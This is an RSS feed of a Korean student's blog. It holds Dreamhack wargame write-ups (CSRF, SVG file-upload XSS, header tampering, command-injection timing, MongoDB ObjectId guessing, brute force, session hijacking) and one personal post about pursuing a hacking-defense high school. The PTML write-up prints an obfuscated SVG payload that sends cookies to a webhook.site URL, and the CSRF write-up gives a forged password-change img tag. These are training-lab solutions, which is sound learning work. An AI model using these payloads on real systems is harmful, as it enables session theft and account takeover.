<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
    <channel>
        <title>junnyontop-pixel.log</title>
        <link>https://velog.io/</link>
        <description>중1 개발자</description>
        <lastBuildDate>Fri, 14 Aug 2026 14:19:32 GMT</lastBuildDate>
        <docs>https://validator.w3.org/feed/docs/rss2.html</docs>
        <generator>https://github.com/jpmonette/feed</generator>
        <image>
            <title>junnyontop-pixel.log</title>
            <url>https://velog.velcdn.com/images/junnyontop-pixel/profile/01d06a3c-11df-44ea-a138-45894db656e0/image.png</url>
            <link>https://velog.io/</link>
        </image>
        <copyright>Copyright (C) 2019. junnyontop-pixel.log. All rights reserved.</copyright>
        <atom:link href="https://v2.velog.io/rss/junnyontop-pixel" rel="self" type="application/rss+xml"/>
        <item>
            <title><![CDATA[드림핵 CSRF Advanced 풀이]]></title>
            <link>https://velog.io/@junnyontop-pixel/%EB%93%9C%EB%A6%BC%ED%95%B5-CSRF-Advanced-%ED%92%80%EC%9D%B4</link>
            <guid>https://velog.io/@junnyontop-pixel/%EB%93%9C%EB%A6%BC%ED%95%B5-CSRF-Advanced-%ED%92%80%EC%9D%B4</guid>
            <pubDate>Fri, 14 Aug 2026 14:19:32 GMT</pubDate>
            <description><![CDATA[<h2 id="문제설명">문제설명</h2>
<p><img src="https://velog.velcdn.com/images/junnyontop-pixel/post/4ece74b8-84ac-468b-bd6e-d587543f96fd/image.png" alt=""></p>
<h2 id="풀이">풀이</h2>
<p><img src="https://velog.velcdn.com/images/junnyontop-pixel/post/6e5b78f4-d127-4e28-905b-859a95f30df9/image.png" alt=""></p>
<p>이렇게 로그인을 해란다
솔직히 이쯤돼면 <code>login</code>에서 <code>guest: guest</code>로 로그인 하는거는 국룰이긴 하다.</p>
<p><img src="https://velog.velcdn.com/images/junnyontop-pixel/post/4fe60566-789c-4560-a621-50b9676c9f81/image.png" alt=""></p>
<p>당연하게도  로그인에 성공했다.</p>
<p>이번에는 저번과 다르게 <code>change password</code>라는 탭에 생겼다.
비밀번호를 바꾼다음에 어드민으로 로그인하면 될거같다.</p>
<h3 id="소스코드-보기">소스코드 보기</h3>
<pre><code class="language-python">@app.route(&quot;/&quot;)
def index():
    session_id = request.cookies.get(&#39;sessionid&#39;, None)
    try:
        username = session_storage[session_id]
    except KeyError:
        return render_template(&#39;index.html&#39;, text=&#39;please login&#39;)

    return render_template(&#39;index.html&#39;, text=f&#39;Hello {username}, {&quot;flag is &quot; + FLAG if username == &quot;admin&quot; else &quot;you are not an admin&quot;}&#39;)</code></pre>
<p><code>admin</code> 계정으로 로그인하면 플래그가 나오는거같다.</p>
<pre><code class="language-python">@app.route(&quot;/vuln&quot;)
def vuln():
    param = request.args.get(&quot;param&quot;, &quot;&quot;).lower()
    xss_filter = [&quot;frame&quot;, &quot;script&quot;, &quot;on&quot;]
    for _ in xss_filter:
        param = param.replace(_, &quot;*&quot;)
    return param</code></pre>
<p><code>xss</code>가 막혀있다. <code>.lower()</code> 함수도 사용돼서 <code>ScRiPt</code>이런 우회는 안통할거다.</p>
<p>그래도 <code>img</code> 태그에 대한 필터는 없으니 <code>img</code> 태그로 <code>csrf</code>를 시도해 보아야 한다.</p>
<pre><code class="language-python">@app.route(&#39;/login&#39;, methods=[&#39;GET&#39;, &#39;POST&#39;])
def login():
    if request.method == &#39;GET&#39;:
        return render_template(&#39;login.html&#39;)
    elif request.method == &#39;POST&#39;:
        username = request.form.get(&#39;username&#39;)
        password = request.form.get(&#39;password&#39;)
        try:
            pw = users[username]
        except:
            return &#39;&lt;script&gt;alert(&quot;user not found&quot;);history.go(-1);&lt;/script&gt;&#39;
        if pw == password:
            resp = make_response(redirect(url_for(&#39;index&#39;)) )
            session_id = os.urandom(8).hex()
            session_storage[session_id] = username
            token_storage[session_id] = md5((username + request.remote_addr).encode()).hexdigest()
            resp.set_cookie(&#39;sessionid&#39;, session_id)
            return resp 
        return &#39;&lt;script&gt;alert(&quot;wrong password&quot;);history.go(-1);&lt;/script&gt;&#39;@app.route(&#39;/login&#39;, methods=[&#39;GET&#39;, &#39;POST&#39;])</code></pre>
<p>로그인을 할때 <code>username + ip</code>로 토큰을 발급하는거 같다.</p>
<pre><code class="language-python">@app.route(&quot;/change_password&quot;)
def change_password():
    session_id = request.cookies.get(&#39;sessionid&#39;, None)
    try:
        username = session_storage[session_id]
        csrf_token = token_storage[session_id]
    except KeyError:
        return render_template(&#39;index.html&#39;, text=&#39;please login&#39;)
    pw = request.args.get(&quot;pw&quot;, None)
    if pw == None:
        return render_template(&#39;change_password.html&#39;, csrf_token=csrf_token)
    else:
        if csrf_token != request.args.get(&quot;csrftoken&quot;, &quot;&quot;):
            return &#39;&lt;script&gt;alert(&quot;wrong csrf token&quot;);history.go(-1);&lt;/script&gt;&#39;
        users[username] = pw
        return &#39;&lt;script&gt;alert(&quot;Done&quot;);history.go(-1);&lt;/script&gt;&#39;</code></pre>
<p>피라미터로 설정할 비번, 토큰 같이 보내면 될거같다.</p>
<h2 id="풀이-1">풀이</h2>
<p>토큰이 그냥 <code>username + ip</code>를 <code>md5</code> 인코딩한것이므로 파이썬 스크립트로 <code>admin + 127.0.0.1</code>로 <code>md5</code> 인코딩을 해서 <code>csrftoken</code>을 얻었다.</p>
<pre><code class="language-python">from hashlib import md5

token = md5((&quot;admin&quot; + &quot;127.0.0.1&quot;).encode()).hexdigest()
print(token)</code></pre>
<p>토큰은 <code>7505b9c72ab4aa94b1a4ed7b207b67fb</code>가 나왔다.</p>
<h3 id="페이로드">페이로드</h3>
<p>페이로드로는 <code>&lt;/img src=&quot;/change_password?pw=1234&amp;csrftoken=7505b9c72ab4aa94b1a4ed7b207b67fb&quot;&gt;</code>를 사용했다.</p>
<p><img src="https://velog.velcdn.com/images/junnyontop-pixel/post/30f7535c-bcd0-44c0-819a-faebbd4f02a9/image.png" alt=""></p>
<p>오잉 왜 안돼지?
알고보니 앞에붙은 슬래시 때문이었다.
정상적인 페이로드는</p>
<pre><code class="language-html">&lt;img src=&quot;/change_password?pw=1234&amp;csrftoken=7505b9c72ab4aa94b1a4ed7b207b67fb&quot;&gt;</code></pre>
<p>이것이다.</p>
<h2 id="플래그">플래그</h2>
<p>이렇게 <code>admin</code> 계정의 비밀번호를 <code>1234</code>로 리셋하고 다시 로그인을 해주면?</p>
<p><img src="https://velog.velcdn.com/images/junnyontop-pixel/post/b165acbf-70da-4895-9384-42513956c447/image.png" alt=""></p>
<p>플래그가 나온다.</p>
<h2 id="후기">후기</h2>
<p>처음 풀때는 어떻게 해야할지 몰라서 다른 <code>write-up</code>을 보면서 문제를 풀어나갔지만 또 벨로그에 정리하는 습관을 들이니까 정리하면서 다시 풀어보게 되고 그게 또 복습이 되는거같다 :)</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[드림핵 PTML 풀이]]></title>
            <link>https://velog.io/@junnyontop-pixel/%EB%93%9C%EB%A6%BC%ED%95%B5-PTML-%ED%92%80%EC%9D%B4</link>
            <guid>https://velog.io/@junnyontop-pixel/%EB%93%9C%EB%A6%BC%ED%95%B5-PTML-%ED%92%80%EC%9D%B4</guid>
            <pubDate>Fri, 14 Aug 2026 03:43:11 GMT</pubDate>
            <description><![CDATA[<h2 id="문제설명">문제설명</h2>
<p><img src="https://velog.velcdn.com/images/junnyontop-pixel/post/be224761-45d6-403b-9ea0-de836b636243/image.png" alt=""></p>
<p>딱 봐도 <code>file-upload</code> 취약점이 있을거같다.</p>
<h2 id="코드분석">코드분석</h2>
<pre><code class="language-python">@app.route(&#39;/upload&#39;, methods=[&#39;POST&#39;])
def upload_file():
    if &#39;file&#39; not in request.files:
        return redirect(request.url)
    file = request.files[&#39;file&#39;]
    if file.filename == &#39;&#39;:
        return redirect(request.url)
    if file:
        filename = secure_filename(file.filename)
        unique_id = uuid.uuid4().hex
        unique_filename = f&quot;{unique_id}_{filename}&quot;
        file_path = os.path.join(app.config[&#39;UPLOAD_FOLDER&#39;], unique_filename)
        file.save(file_path)
        read_file(unique_filename)
        return redirect(url_for(&#39;index&#39;, file=f&#39;uploads/{unique_filename}&#39;))
    return &#39;&#39;, 204</code></pre>
<p>딱 봐도 매우 취약해 보인다.</p>
<pre><code class="language-python">def read_file(filename):
    driver = None
    cookie = {&quot;name&quot;: &quot;flag&quot;, &quot;value&quot;: FLAG}
    cookie.update({&quot;domain&quot;: &quot;127.0.0.1&quot;})
    try:
        service = Service(executable_path=&quot;/usr/local/bin/chromedriver&quot;)
        options = webdriver.ChromeOptions()
        for arg in [
            &quot;headless&quot;,
            &quot;window-size=1920x1080&quot;,
            &quot;disable-gpu&quot;,
            &quot;no-sandbox&quot;,
            &quot;disable-dev-shm-usage&quot;,
        ]:
            options.add_argument(arg)

        driver = webdriver.Chrome(service=service, options=options)
        driver.implicitly_wait(3)
        driver.set_page_load_timeout(3)

        driver.get(&quot;http://127.0.0.1:8000/&quot;)
        driver.add_cookie(cookie)
        driver.get(f&quot;http://127.0.0.1:8000/?file=uploads/{filename}&quot;)

        WebDriverWait(driver, 10).until(EC.presence_of_element_located((By.TAG_NAME, &quot;svg&quot;)))

    except Exception as e:
        driver.quit()
        return False
    driver.quit()
    return True</code></pre>
<p>이렇게 셀레니움으로 봇이 구현되어 있으니 <code>svg</code> 파일에 <code>js</code>를 집어넣어서 <code>xss</code>공격으로 <code>webhook.site</code>에 보내면 될거같다.</p>
<h2 id="풀이">풀이</h2>
<p><code>vscode</code>를 열어서 <code>1.svg</code> 파일을 생성한 다음 페이로드를 입력해준다.</p>
<p>페이로드로는 이걸 사용했다.</p>
<pre><code class="language-svg">&lt;svg width=&quot;704&quot; height=&quot;161&quot; viewBox=&quot;0 0 704 161&quot; fill=&quot;none&quot; xmlns=&quot;http://www.w3.org/2000/svg&quot;&gt;
&lt;animate attributeName=&quot;x&quot; dur=&quot;0s&quot; onbegin=&quot;eval(atob(&#39;bG9jYXRpb24uaHJlZj0iaHR0cHM6Ly93ZWJob29rLnNpdGUvNWEyMWY0MjgtNTFiMi00NDNiLTgwZWMtZTRhOGM5MWQzNzk0P2ZsYWc9Ii5jb25jYXQoZG9jdW1lbnQuY29va2llKQ==&#39;))&quot;/&gt;
&lt;/svg&gt;</code></pre>
<p><code>eval</code> 함수 안에 <code>base64</code>로 인코딩 되어있는 것은</p>
<pre><code class="language-js">location.href=&quot;https://webhook.site/5a21f428-51b2-443b-80ec-e4a8c91d3794?flag=&quot;.concat(document.cookie)</code></pre>
<p>이 코드 이다.</p>
<h3 id="flag">flag</h3>
<p><img src="https://velog.velcdn.com/images/junnyontop-pixel/post/9ac07ffc-aea6-49b7-8861-81d201398a6b/image.png" alt=""></p>
<h2 id="후기">후기</h2>
<p>이제 브론즈 1 정도 올라오니까 여러 취약점을 꼬아서 나오는 문제가 나오기 시작했다.
그래도 기초를 잘 다져 놓으니까 아직까지는 할만한거 같다 :)</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[디미고]]></title>
            <link>https://velog.io/@junnyontop-pixel/%EB%94%94%EB%AF%B8%EA%B3%A0</link>
            <guid>https://velog.io/@junnyontop-pixel/%EB%94%94%EB%AF%B8%EA%B3%A0</guid>
            <pubDate>Thu, 13 Aug 2026 13:13:04 GMT</pubDate>
            <description><![CDATA[<h2 id="디미고에-대해">디미고에 대해…</h2>
<p><img src="https://velog.velcdn.com/images/junnyontop-pixel/post/80995f8d-de01-4c08-a45f-65ad77cb6cab/image.png" alt=""></p>
<p>나는 중 1이다.
나는 초 4부터 코딩을 아빠에 의해 접해서 웹개발(?) 을 하다가 지금은 놀고 자빠져있다. 뭐 코딩을 접하고 나서부터 꿈은 항상 개발쪽이었지만 미쳐 고등학교를 생각을 못했다. 평소처럼 프로결제한 제미나이를 가지고 놀다가 고등학교를 추천해 달라고 했다. 추천해준 고등학교는 바로 디미고 였다.</p>
<h2 id="부모님">부모님</h2>
<p><img src="https://velog.velcdn.com/images/junnyontop-pixel/post/8cf6cf9e-4d88-4f70-8f3a-fb5ee0476d08/image.jpeg" alt=""></p>
<p>그래서 바로 좋아라 했던 나는 바로 부모님께 가서 디미고에 가고싶다고 말했다.
당연히 부모님은 안된다고 말씀하셨다. <del>왜지?</del>
왜냐면 당시에 특성화고는 공부못하고 할거 없는 애들만 간다는 오해가 있었기 때문이었다. 하지만 디미고는 예외다.</p>
<p><img src="https://velog.velcdn.com/images/junnyontop-pixel/post/f79eddd9-6cd0-4711-8c49-921c17e9cfd5/image.jpeg" alt=""></p>
<p>그래서, 내가 이런말 할만큼 코딩 실력이 좋냐고?
<del>겠냐?</del> 절대 아니다.</p>
<p>아아아ㅏ 코딩을 처음 배웠을때의 그 나는 어디가고 왜 이런 폐인같은 바이브코더가 내 앞에 있는걸까…</p>
<h2 id="해킹방어">해킹방어</h2>
<p><img src="https://velog.velcdn.com/images/junnyontop-pixel/post/5564193c-ee6c-4d8c-b853-3a50f3f76066/image.jpeg" alt=""></p>
<p>그러던중, 나는 해킹에 관심이 생겼다.
정확히는 웹해킹이었는데, 구글 그뤼에르인가? 대충 그런 사이트에서 처음 공격을 시도해봤다.</p>
<p>결과는….
정말 재밌었다! 그저 내가 한거라고는 프로필 페이지에서 대놓고 있는 피라미터를 고치기만 했을 뿐인데, 어드민 권한을 얻을 수 있다는게 신기하고 재밌었다. (실제로는 안먹힌다…)</p>
<p>음… 이렇게 재미를 느껴놓고 정작 드림핵같은 사이트에서 정식으로 해킹을 배우는데는 시간이 오래 걸렸다.
왜냐고? 
현타가 왔다. 갑자기? 라고 할 수도 있겠지만 뭔가 내가 하고있는게 올바른건지, 이렇게 너무 ai에 의존해도 돼는건지, 과연 디미고에 합격할 수나 있을지 일반고는 가려나? 성적은 어떨까?
이런 질문들이 나를 한순간에 덮쳤다.</p>
<h3 id="다시시작">다시…시작</h3>
<p><img src="https://velog.velcdn.com/images/junnyontop-pixel/post/5193e9cb-8545-48f4-a5ab-80ec3dd2edfd/image.jpeg" alt=""></p>
<p>그래서 나는 한동안 개발을 잠시 접었었다.
그래도 ai에게 의존해도, 힘들어도, 눈이 아파도 개발을 하는게 재밌었는지 나는 다시 노트북 앞에 앉아 있었다.</p>
<p>그래도 코딩을 안한 시간동안 생각한게 조금은 있었는지 엄마에게 드림핵 가입을 도와달라고 했다. 엄마는 미심쩍어했다 <del>원래그런 사람이다.</del></p>
<p><img src="https://velog.velcdn.com/images/junnyontop-pixel/post/1de44852-9e27-4906-9305-2819ce96e287/image.jpg" alt=""></p>
<p>앞에서 저런말 하다가 뜬금없지만,</p>
<p>그래서 나의 해킹 공부는 시작이 됐다.
뭐, 이제 배운지 얼마 안됐지만 그래도 내 목표인 디미고 해킹방어과를 향해 열심히 달려갈 예정이다.</p>
<p>13살이 건방지게 이런글 써서 죄송합니다.
긴글 읽어주셔서 감사합니다 :)</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[드림핵 DreamDocs 풀이]]></title>
            <link>https://velog.io/@junnyontop-pixel/%EB%93%9C%EB%A6%BC%ED%95%B5-DreamDocs-%ED%92%80%EC%9D%B4</link>
            <guid>https://velog.io/@junnyontop-pixel/%EB%93%9C%EB%A6%BC%ED%95%B5-DreamDocs-%ED%92%80%EC%9D%B4</guid>
            <pubDate>Wed, 22 Jul 2026 00:05:05 GMT</pubDate>
            <description><![CDATA[<h2 id="문제설명">문제설명</h2>
<p>문제 설명
Description
Introducing DreamDocs: a platform for browsing docs!</p>
<p><img src="https://velog.velcdn.com/images/junnyontop-pixel/post/7fe6f7eb-58df-4122-b998-8daba3b7e2d2/image.png" alt=""></p>
<p>이렇게 문서를 열람할 수 있는 서비스다.</p>
<hr>
<h2 id="소스코드-보기">소스코드 보기</h2>
<pre><code class="language-python">flag_doc_id = random.randint(100, 999)</code></pre>
<p>이 부분을 보면 <code>flag</code>가 들어있는 문서는 100부터 999까지의 무작위 문서 이다.</p>
<pre><code class="language-python">@app.route(&#39;/doc/&lt;int:doc_id&gt;&#39;)
def view_document(doc_id):
    referer = request.headers.get(&#39;Referer&#39;, &#39;&#39;)
    user_level = request.headers.get(&#39;X-User&#39;, &#39;guest&#39;)

    if doc_id &lt; 0 or doc_id &gt;= 1000:
        abort(404)

    if doc_id not in documents:
        abort(404)

    document = documents[doc_id]

    if &#39;/share&#39; not in referer:
        return render_template(&#39;error.html&#39;, 
            message=&quot;Access denied. Documents can only be accessed from the share page.&quot;), 403

    if document[&#39;classification&#39;] == &#39;confidential&#39;:
        if user_level != &#39;admin&#39;:
            return render_template(&#39;error.html&#39;, 
                message=&quot;Insufficient privileges. Administrator access required.&quot;), 403

    elif document[&#39;classification&#39;] == &#39;internal&#39;:
        if user_level == &#39;guest&#39;:
            return render_template(&#39;error.html&#39;, 
                message=&quot;Internal documents require user authentication.&quot;), 401

    return render_template(&#39;document.html&#39;, doc=document, doc_id=doc_id)</code></pre>
<p>이걸 보면 <code>confidential</code> 등급의 문서는 <code>admin</code>인 유저만 열람할 수 있는걸 알 수 있다.</p>
<pre><code class="language-python">@app.route(&#39;/api/docs&#39;)
def list_docs():
    SHOW_COUNT = 15
    user_level = request.headers.get(&#39;X-User&#39;, &#39;guest&#39;)
    visible_docs = []

    for doc_id, doc in documents.items():
        if doc[&#39;classification&#39;] == &#39;public&#39;:
            visible_docs.append({&#39;id&#39;: doc_id, &#39;title&#39;: doc[&#39;title&#39;], &#39;classification&#39;: doc[&#39;classification&#39;]})
        elif doc[&#39;classification&#39;] == &#39;internal&#39; and user_level != &#39;guest&#39;:
            visible_docs.append({&#39;id&#39;: doc_id, &#39;title&#39;: doc[&#39;title&#39;], &#39;classification&#39;: doc[&#39;classification&#39;]})
        elif doc[&#39;classification&#39;] == &#39;confidential&#39; and user_level == &#39;admin&#39;:
            visible_docs.append({&#39;id&#39;: doc_id, &#39;title&#39;: doc[&#39;title&#39;], &#39;classification&#39;: doc[&#39;classification&#39;]})
        if len(visible_docs) &gt;= SHOW_COUNT:
            break

    return jsonify(visible_docs)</code></pre>
<p>문서들의 정보를 볼 수 있는 페이지다.</p>
<hr>
<h2 id="풀이">풀이</h2>
<p><img src="https://velog.velcdn.com/images/junnyontop-pixel/post/e304f0f4-5153-46bf-8e53-ac6a0a39c212/image.png" alt=""></p>
<p><code>/api/docs</code>로 가는 패킷을 잡아서 <code>X-user: admin</code>을 추가했다.</p>
<p><img src="https://velog.velcdn.com/images/junnyontop-pixel/post/ecd3f044-02ac-4e69-b6b4-fa27a3b3485e/image.png" alt=""></p>
<p>960번 문서가 <code>flag</code> 문서라는 것을 알 수 있다.</p>
<p><img src="https://velog.velcdn.com/images/junnyontop-pixel/post/ae6cc090-8b46-463d-af43-6142abaae035/image.png" alt=""></p>
<p>다시 <code>/share</code>로 돌아와서 아무 문서나 클릭하고 이렇게 패킷을 고쳐준다.</p>
<p><img src="https://velog.velcdn.com/images/junnyontop-pixel/post/b57f2da3-ec75-4afe-a3f5-bb978ffb734d/image.png" alt=""></p>
<p>다시 오는 패킷도 똑같이 수정해준다.</p>
<p><img src="https://velog.velcdn.com/images/junnyontop-pixel/post/2e4ed3d0-2a23-43c7-a1e4-e5e14341fcc3/image.png" alt=""></p>
<p><code>flag</code>를 찾았다!</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[드림핵 BypassIF 풀이]]></title>
            <link>https://velog.io/@junnyontop-pixel/%EB%93%9C%EB%A6%BC%ED%95%B5-BypassIF-%ED%92%80%EC%9D%B4</link>
            <guid>https://velog.io/@junnyontop-pixel/%EB%93%9C%EB%A6%BC%ED%95%B5-BypassIF-%ED%92%80%EC%9D%B4</guid>
            <pubDate>Tue, 21 Jul 2026 12:49:47 GMT</pubDate>
            <description><![CDATA[<h2 id="문제-설명">문제 설명</h2>
<p>문제  링크 : <a href="https://dreamhack.io/wargame/challenges/1151">https://dreamhack.io/wargame/challenges/1151</a></p>
<p>문제 설명
Description
Admin의 KEY가 필요합니다! 알맞은 KEY값을 입력하여 플래그를 획득하세요.</p>
<p>플래그 형식은 DH{...} 입니다.</p>
<p><img src="https://velog.velcdn.com/images/junnyontop-pixel/post/a9eeb39f-4595-4932-a427-9e4350fcef18/image.png" alt=""></p>
<p>이렇게 키를 넣어볼 수 있는 서비스 였다.</p>
<h2 id="소스코드-보기">소스코드 보기</h2>
<p><img src="https://velog.velcdn.com/images/junnyontop-pixel/post/e0443638-6f10-4555-8ffe-dff5ee1ba7b5/image.png" alt=""></p>
<p>이 코드를 보면 <code>cmd</code>가 비어있지 않기만 하면 내부 블록으로 진입할 수 있다.
그리고 타임아웃 예외처리를 통해 키를 얻을 수 있다.</p>
<h2 id="풀이">풀이</h2>
<p><img src="https://velog.velcdn.com/images/junnyontop-pixel/post/97f64850-9b94-47db-94d0-249fc69f55e5/image.png" alt=""></p>
<p><code>burp suite</code>를 사용해 <code>cmd_input=sleep 6</code>를 입력하고 조금 뒤, 화면에 <code>key</code>가 출력됬다.</p>
<p><img src="https://velog.velcdn.com/images/junnyontop-pixel/post/1a2b9506-9f12-4cc1-b66f-5df949749405/image.png" alt=""></p>
<p>그 키를 다시 입력하고 <code>submit</code> 버튼을 누르면,</p>
<p><img src="https://velog.velcdn.com/images/junnyontop-pixel/post/d4ea4733-b50e-4dfa-8bef-75455306204a/image.png" alt=""></p>
<p><code>flag</code>가 나온다!</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[드림핵 mongoboard 풀이]]></title>
            <link>https://velog.io/@junnyontop-pixel/%EB%93%9C%EB%A6%BC%ED%95%B5-mongoboard-%ED%92%80%EC%9D%B4</link>
            <guid>https://velog.io/@junnyontop-pixel/%EB%93%9C%EB%A6%BC%ED%95%B5-mongoboard-%ED%92%80%EC%9D%B4</guid>
            <pubDate>Sun, 19 Jul 2026 05:11:45 GMT</pubDate>
            <description><![CDATA[<h2 id="사이트-분석">사이트 분석</h2>
<p><img src="https://velog.velcdn.com/images/junnyontop-pixel/post/116b0eea-f5ce-4d7a-b580-99893c295de4/image.png" alt=""></p>
<p><img src="https://velog.velcdn.com/images/junnyontop-pixel/post/82ca8fd7-7df9-43cb-ba2b-48a56f9a560f/image.png" alt=""></p>
<p>이렇게 글을 쓰고 조회해 볼 수 있는 게시판인듯 하다.</p>
<p><img src="https://velog.velcdn.com/images/junnyontop-pixel/post/cbc8fcdf-257e-4a71-a688-70cb5d8c1d3e/image.png" alt=""></p>
<p><code>FLAG</code>라고 되어있는 글은 조회 할 수 없었다.</p>
<h2 id="소스코드-분석">소스코드 분석</h2>
<p><img src="https://velog.velcdn.com/images/junnyontop-pixel/post/f128700f-e93b-408d-8e11-c61f21ca1dbe/image.png" alt=""></p>
<p>코드를 보니 이렇게 <code>secret</code> 글은 <code>_id</code> 값이 <code>null</code>로 되어있는듯 하다.</p>
<p>그래서 일단 <code>/api/board</code> 주소로 들어가봤다.</p>
<p><img src="https://velog.velcdn.com/images/junnyontop-pixel/post/e4c4648a-208d-4801-a3ac-d59aef3b2dc8/image.png" alt=""></p>
<p>이렇게 역시나 <code>secret</code> 글은 <code>_id</code>가 <code>null</code>인 것을 볼 수 있다.</p>
<p>그래서 소스코드를 다시 한번 봐 보니</p>
<p><img src="https://velog.velcdn.com/images/junnyontop-pixel/post/62f8e0dc-7ea9-4d92-96ce-fc6a519de3a0/image.png" alt=""></p>
<p>이렇게 <code>/api/board/:board_id</code>로 접속을 하면 내용을 인증없이 띄워주는 코드를 찾았다.</p>
<h2 id="mongodb-objectid-생성-규칙">MongoDB ObjectId 생성 규칙</h2>
<p><code>MongoDb</code>는 <code>ObjectID</code>를 생성할때 규칙이 있었다.</p>
<p><img src="https://velog.velcdn.com/images/junnyontop-pixel/post/03c4e8d5-946d-4bac-a945-c28f8d6730f4/image.png" alt=""></p>
<p>그러면 뒷자리 6글자만 분석하여 추론하면 된다.</p>
<p>그럼 뒷자리가 모두
<code>820047</code>
<code>820048</code>
<code>FLAG</code>
<code>82004a</code></p>
<p>그럼 <code>FLAG</code>에 들어갈 수는 <code>820049</code>이다.</p>
<h2 id="풀이">풀이</h2>
<p>이렇게 앞에 말한 방식으로 <code>ObjectID</code>를 만들면
<code>6a5c55224046d4dc8f820049</code>이 된다.</p>
<p>이렇게 <code>/api/board/6a5c55224046d4dc8f820049</code>에 접속하면</p>
<p><img src="https://velog.velcdn.com/images/junnyontop-pixel/post/edfd751b-b234-4145-a955-b42ad42efc1a/image.png" alt=""></p>
<p><code>FLAG</code>가 나온다.</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[드림핵 random-test 풀이]]></title>
            <link>https://velog.io/@junnyontop-pixel/%EB%93%9C%EB%A6%BC%ED%95%B5-random-test-%ED%92%80%EC%9D%B4</link>
            <guid>https://velog.io/@junnyontop-pixel/%EB%93%9C%EB%A6%BC%ED%95%B5-random-test-%ED%92%80%EC%9D%B4</guid>
            <pubDate>Sun, 19 Jul 2026 03:33:53 GMT</pubDate>
            <description><![CDATA[<p><img src="https://velog.velcdn.com/images/junnyontop-pixel/post/7f5bda96-623b-4dc8-93de-01e2bbd75016/image.png" alt=""></p>
<h2 id="소스코드-뜯어보기">소스코드 뜯어보기</h2>
<p><img src="https://velog.velcdn.com/images/junnyontop-pixel/post/00115109-445d-4116-bb2b-787520a8d4c2/image.png" alt="">
사물함 번호는 영어 소문자, 숫자포함 4자리 문자열이고,
비밀번호는 100이상 200이하의 무작위 숫자다.</p>
<p><img src="https://velog.velcdn.com/images/junnyontop-pixel/post/d2e87891-b79c-40ea-bed6-f78e4238d1ca/image.png" alt="">
여기서 사물함 번호의 어느 글자까지 맞는지 알려주는 취약점이 있어서
<code>burp suite</code>로 브루트 포스 공격을 해서 한 글자씩 사물함 번호를 알아내면 될거같다.</p>
<h2 id="사물함-번호-알아내기">사물함 번호 알아내기</h2>
<p><img src="https://velog.velcdn.com/images/junnyontop-pixel/post/cb6f9de9-fdf9-4834-81f4-ace02c0f21ee/image.png" alt=""></p>
<p>사물함 번호를 일단 아무렇게나 입력해서 패킷을 잡는다.
<code>attack type</code>을 <code>sniper attack</code>으로 설정하고
<code>payload type</code>을 <code>brute focer</code>로 설정한다.</p>
<p><img src="https://velog.velcdn.com/images/junnyontop-pixel/post/57034f79-be94-4b3f-97ed-4bea2ffa4b1a/image.png" alt="">
알파벳 <code>m</code>이 길이가 혼자 <code>1951</code>로 다르다.</p>
<p><img src="https://velog.velcdn.com/images/junnyontop-pixel/post/acf77de1-4c71-4b38-b5ed-4a4f8afcaad1/image.png" alt="">
이런 방식으로 나머지 3개의 글자도 모두 구한다.</p>
<h2 id="비밀번호-알아내기">비밀번호 알아내기</h2>
<p><img src="https://velog.velcdn.com/images/junnyontop-pixel/post/535a1a53-6c27-435c-b1c0-9c817f07020a/image.png" alt="">
<code>payload</code>설정을 이렇게 하고 <code>start attack</code> 버튼을 누른다.</p>
<h2 id="해결">해결</h2>
<p><img src="https://velog.velcdn.com/images/junnyontop-pixel/post/407cae59-2617-402d-90ec-e782fc330497/image.png" alt=""></p>
<p>길이가 다른 패킷을 발견했다.</p>
<p><img src="https://velog.velcdn.com/images/junnyontop-pixel/post/077847fc-0192-485a-84be-0fd51c4d0f65/image.png" alt=""></p>
]]></description>
        </item>
        <item>
            <title><![CDATA[드림핵 session-basic 풀이]]></title>
            <link>https://velog.io/@junnyontop-pixel/%EB%93%9C%EB%A6%BC%ED%95%B5-session-basic-%ED%92%80%EC%9D%B4</link>
            <guid>https://velog.io/@junnyontop-pixel/%EB%93%9C%EB%A6%BC%ED%95%B5-session-basic-%ED%92%80%EC%9D%B4</guid>
            <pubDate>Fri, 17 Jul 2026 12:19:49 GMT</pubDate>
            <description><![CDATA[<p><img src="https://velog.velcdn.com/images/junnyontop-pixel/post/20aa564a-adb9-47e1-a49a-d39f536402c9/image.png" alt=""></p>
<p><img src="https://velog.velcdn.com/images/junnyontop-pixel/post/f68aa9fe-1781-4014-8132-67d207775d23/image.png" alt=""></p>
<p>솔직히 여기서 뭘 하라는건지 잘 모르겠다.</p>
<h2 id="소스코드-뜯어보기">소스코드 뜯어보기</h2>
<p><img src="https://velog.velcdn.com/images/junnyontop-pixel/post/cd16e0e4-685b-4ae6-8d92-4b30ed7603a6/image.png" alt="">
<del>음 이게 뭐지?</del>
<code>get</code>,<code>post</code> 검사도 안하고 <code>session_storage</code>를 리턴하고있다.</p>
<p><img src="https://velog.velcdn.com/images/junnyontop-pixel/post/343700f5-e354-457c-95f7-7d4e934c4480/image.png" alt=""></p>
<p>이 세션을 복사해두고 <code>burp suite</code>에서 변조해서 넣으면 될거같다.</p>
<h2 id="burp-suite로-세션-변조하기">burp suite로 세션 변조하기</h2>
<p><img src="https://velog.velcdn.com/images/junnyontop-pixel/post/aaa8f4cd-f5ac-4bdf-9f64-8c4f5cdb9211/image.png" alt=""></p>
<p><code>guest</code>로 로그인을 하고 온 패킷을 확인해본다.</p>
<p><img src="https://velog.velcdn.com/images/junnyontop-pixel/post/49eafeb6-741e-4b06-9e16-06cba62f4eb0/image.png" alt=""></p>
<p><img src="https://velog.velcdn.com/images/junnyontop-pixel/post/9dbc2380-4a2b-417c-86ae-0cd1c584342c/image.png" alt=""></p>
<p>여기서 <code>Cookie: sessionid</code>부분에서 <code>sessionid</code>를 아까 복사해둔 <code>admin</code>의 <code>sessionid</code>로 변조하면?</p>
<p><img src="https://velog.velcdn.com/images/junnyontop-pixel/post/21e5c421-4760-4168-9585-1d51d2d89645/image.png" alt=""></p>
<p><code>flag</code>가 나온다</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[gruyere 해킹해보기 2편]]></title>
            <link>https://velog.io/@junnyontop-pixel/gruyere-%ED%95%B4%ED%82%B9%ED%95%B4%EB%B3%B4%EA%B8%B0-2%ED%8E%B8</link>
